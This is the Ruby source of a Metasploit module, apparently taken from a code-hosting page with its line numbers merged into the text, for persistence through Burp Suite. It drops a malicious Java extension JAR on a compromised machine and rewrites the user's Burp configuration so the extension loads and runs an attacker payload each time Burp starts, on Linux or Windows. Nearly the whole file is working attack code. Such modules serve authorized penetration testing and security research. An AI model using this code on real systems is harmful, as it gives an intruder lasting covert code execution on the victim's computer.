Path: blob/master/modules/exploits/multi/persistence/burp_extension.rb
31151 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4#5require 'open3'67class MetasploitModule < Msf::Exploit::Local8Rank = ExcellentRanking910include Msf::Post::File11include Msf::Post::Unix # whoami12include Msf::Auxiliary::Report13include Msf::Exploit::FileDropper14prepend Msf::Exploit::Remote::AutoCheck15include Msf::Post::Windows::Registry16include Msf::Exploit::Local::Persistence1718def initialize(info = {})19super(20update_info(21info,22'Name' => 'Burp Extension Persistence',23'Description' => %q{24This module adds a java based malicious extension to the Burp Suite configuration file.25When burp is opened, the extension will be loaded and the payload will be executed.2627Tested against Burp Suite Community Edition v2024.9.4, on Ubuntu Desktop 24.04.28Tested against Burp Suite Community Edition v2025.12.3 on Windows 10.29},30'License' => MSF_LICENSE,31'Author' => [32'h00die' # Module33],34'DisclosureDate' => '2025-01-01',35'SessionTypes' => [ 'shell', 'meterpreter' ],36'Privileged' => false,37'References' => [38[ 'URL', 'https://portswigger.net/burp/documentation/desktop/extensions/creating' ],39[ 'URL', 'https://portswigger.net/burp/documentation/desktop/troubleshooting/launch-from-command-line' ]40],41'DefaultOptions' => {42'PrependMigrate' => true43},44'Targets' => [45[46'Java', {47'Platform' => 'java', 'Arch' => [ARCH_JAVA]48}49],50['Linux', { 'Platform' => 'unix', 'Arch' => [ARCH_CMD] } ],51[52'Windows', { 'Platform' => 'windows', 'Arch' => [ARCH_CMD] }, {53'Payload' =>54{ 'Space' => 8_191 - 'cmd.exe /c '.length }55}56],57],58'Actions' => [59['precompiled', { 'Description' => 'Use pre-compiled bytecode' }],60['build', { 'Description' => 'Build the extension locally with Gradle' }]61],62'DefaultAction' => 'precompiled',63'Notes' => {64'Reliability' => [ REPEATABLE_SESSION ],65'Stability' => [ CRASH_SAFE ],66'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]67},68'DefaultTarget' => 069)70)7172register_options([73OptString.new('NAME', [ false, 'Name of the extension', '' ]),74OptString.new('CONFIG_FILE', [ false, 'Config file location on target', '' ]),75OptString.new('BURP_JAR', [ false, 'Location of Burp JAR file', '' ])76])77register_advanced_options([78OptString.new('GRADLE', [ false, 'Local Gradle executable', '/usr/bin/gradle' ]),79])80end8182def extension_name_generator83return datastore['NAME'] unless datastore['NAME'].blank?8485rand_text_alphanumeric(4..10)86end8788def window_target?89['windows', 'win'].include? session.platform90end9192def get_home93return cmd_exec('cmd /c echo %USERPROFILE%').strip if window_target?9495return cmd_exec('echo ~').strip96end9798def writable_dir99d = super100return session.sys.config.getenv(d) if d.start_with?('%')101102d103end104105def get_userconfig_path106unless datastore['CONFIG_FILE'].blank?107return nil unless file?(datastore['CONFIG_FILE'])108109return datastore['CONFIG_FILE']110end111112home_path = get_home113vprint_status("Home path detected as: #{home_path}")114115path = (window_target?) ? home_path + '\\AppData\\Roaming\\Burpsuite\\' : home_path + '/.BurpSuite/'116if file?(path + 'UserConfigPro.json')117@pro = true118return path + 'UserConfigPro.json'119end120return path + 'UserConfigCommunity.json' if file?(path + 'UserConfigCommunity.json')121end122123def get_burp_executable124if !datastore['BURP_JAR'].blank?125return nil unless file?(datastore['BURP_JAR'])126127return datastore['BURP_JAR']128end129130home_path = get_home131132if @pro133burp_exec_path = (window_target?) ? home_path + '\\AppData\\Local\\BurpSuitePro\\burpsuite_pro.jar' : home_path + '/BurpSuitePro/burpsuite_pro.jar'134return burp_exec_path if file?(burp_exec_path)135end136burp_exec_path = (window_target?) ? home_path + '\\AppData\\Local\\BurpSuiteCommunity\\burpsuite_community.jar' : home_path + '/BurpSuiteCommunity/burpsuite_community.jar'137return burp_exec_path if file?(burp_exec_path)138end139140def modify_user_config(extension_location, extension_name)141user_config = read_file(@userconfig_path)142143path = store_loot('burp.config.json', 'application/json', session, user_config, nil, nil)144print_good("Config file saved in: #{path}")145user_config_json = JSON.parse(user_config)146extensions_config = user_config_json.dig('user_options', 'extender', 'extensions')147148fail_with Failure::PayloadFailed, 'Failed to get extension configuration' unless extensions_config149150malicious_extension = {151'errors' => 'ui',152'extension_file' => extension_location,153'extension_type' => 'java',154'loaded' => true,155'name' => extension_name,156'output' => 'ui',157'use_ai' => false158}159extensions_config.unshift(malicious_extension)160user_config_json['user_options']['extender']['extensions'] = extensions_config161162fail_with Failure::PayloadFailed, 'Module failed to overwrite UserConfig file' unless write_file(@userconfig_path, JSON.generate(user_config_json))163@clean_up_rc << "upload #{path} #{@userconfig_path}\n"164end165166def check167if action.name == 'build'168if File.exist?(datastore['GRADLE'])169vprint_good('Gradle found')170else171print_warning('Gradle is required on the local computer running metasploit, please install it or use precompiled action')172end173end174175@userconfig_path = get_userconfig_path176CheckCode::Safe("Config file not found: #{datastore['config']}") if @userconfig_path.nil?177CheckCode::Detected("Found UserConfig file #{@userconfig_path}")178end179180def add_extension(settings_file, extension_location, extension_name)181# open file182config_contents = read_file(settings_file)183# store as loot for backup purposes184path = store_loot('burp.config.json', 'application/json', session, config_contents, nil, nil)185print_good("Config file saved in: #{path}")186# read json187begin188config_contents = JSON.parse(config_contents)189rescue JSON::ParserError190fail_with(Failure::Unknown, "Failed to parse json config file: #{settings_file}")191end192malicious_extension = {193'errors' => 'ui',194'extension_file' => extension_location,195'extension_type' => 'java',196'loaded' => true,197'name' => extension_name,198'output' => 'ui'199}200begin201config_contents['user_options']['extender']['extensions'] << malicious_extension202rescue NoMethodError203fail_with(Failure::NotFound, "Failed to find 'user_options' in config file: #{settings_file}, likely a project settings file, not a user one.")204end205# write json206write_file(settings_file, JSON.pretty_generate(config_contents, { 'space' => '', 'indent' => ' ' * 4 }))207end208209def run_local_gradle_build(extension_name)210# Check if gradle is installed211fail_with(Failure::NotFound, 'Gradle is not installed on the local system.') unless File.exist?(datastore['GRADLE'])212213# Define source and destination directories214src_dir = File.join(Msf::Config.data_directory, 'exploits', 'burp_extension')215temp_dir = Dir.mktmpdir216217# Copy necessary files to the temporary directory218FileUtils.cp_r(File.join(src_dir, 'src'), temp_dir)219FileUtils.cp(File.join(src_dir, 'settings.gradle'), temp_dir)220FileUtils.cp(File.join(src_dir, 'build.gradle'), temp_dir)221222# Modify name.txt with the new extension name223java_file = File.join(temp_dir, 'src', 'main', 'resources', 'name.txt')224File.open(java_file, 'wb') { |file| file.puts extension_name }225226if target.name == 'Java'227# delete the /src/main/resources/command.txt file copied over in the cp_r as its not needed228File.delete(File.join(temp_dir, 'src', 'main', 'resources', 'command.txt'))229java_file = File.join(temp_dir, 'src', 'main', 'resources', 'burp_extension_pload.jar')230payload_jar = generate_payload.encoded_jar(main_class: 'burp_extension_pload')231File.open(java_file, 'wb') { |file| file.puts payload_jar.pack }232else233# Modify command.txt where we put our payload command234java_file = File.join(temp_dir, 'src', 'main', 'resources', 'command.txt')235File.open(java_file, 'wb') { |file| file.puts payload.encoded }236end237238# Run gradle clean build239vprint_status("Building Burp extension jar file locally in #{temp_dir}")240Dir.chdir(temp_dir) do241IO.popen([datastore['GRADLE'], 'clean', 'build']) do |stdout|242stdout.each_line { |line| vprint_line line }243end244end245246# Check if the jar file was created247jar_file = File.join(temp_dir, 'build', 'libs', 'MetasploitPayloadExtension.jar')248fail_with(Failure::NotFound, 'Failed to build burp extension') unless File.exist?(jar_file)249print_good("Successfully built the jar file #{jar_file}")250251File.read(jar_file)252end253254def compiled_extension(extension_name)255# see data/exploits/burp_extension/notes.txt on how to get this content256burp_extension_class = File.read(File.join(257Msf::Config.data_directory, 'exploits', 'burp_extension', 'precompiled.class'258))259260jar = Rex::Zip::Jar.new261# build our manifest manually because its only one line and we don't need the extra262# ones that metasploit's build_manifest adds. This more closely implements the gradle build command263jar.add_file('META-INF/', '')264jar.add_file('META-INF/MANIFEST.MF', "Manifest-Version: 1.0\r\n\r\n")265jar.add_file('burp/', '')266jar.add_file('burp/BurpExtender.class', burp_extension_class)267if target.name == 'Java'268jar.add_file('burp_extension_pload.jar', generate_payload.encoded_jar(main_class: 'burp_extension_pload').pack)269else270jar.add_file('command.txt', payload.encoded)271end272jar.add_file('name.txt', extension_name)273274jar275end276277def install_persistence278fail_with(Failure::BadConfig, 'WritableDir can not be blank') if writable_dir.empty?279280# RuntimeError `writable?' method does not support Windows systems281if !window_target? && !writable?(writable_dir)282fail_with(Failure::NotFound, "Unable to write to WritableDir: #{writable_dir}")283end284# get UserConfig file path285unless @userconfig_path286get_userconfig_path287end288289if @userconfig_path.nil?290fail_with(Failure::NotFound, 'User does not have a UserConfig file, likely Burp was installed but never run')291end292vprint_status("Burp UserConfig file: #{@userconfig_path}")293294# get Burp executable295burp_path = get_burp_executable296297fail_with Failure::NotFound, 'Burp JAR file was not found' unless burp_path298299vprint_status("Burp JAR file: #{burp_path}")300301# create extension302print_status('Creating extension')303extension_name = extension_name_generator304print_status("Using extension name: #{extension_name}")305if window_target?306extension_location = "#{writable_dir}\\#{extension_name}.jar"307else308extension_location = "#{writable_dir}/#{extension_name}.jar"309end310vprint_status('Creating JAR file')311312case action.name313when 'build'314jar = run_local_gradle_build(extension_name)315when 'precompiled'316jar = compiled_extension(extension_name)317end318319# store extension on target's machine320vprint_status("Writing malicious extension to disk: #{extension_location}")321322fail_with Failure::PayloadFailed, 'Failed to write malicious extension' unless write_file(extension_location, jar)323@clean_up_rc << "rm #{extension_location}\n"324# overwrite configuration325vprint_status('Modifying Burp configuration and adding malicious extension')326modify_user_config(extension_location, extension_name)327end328end329330331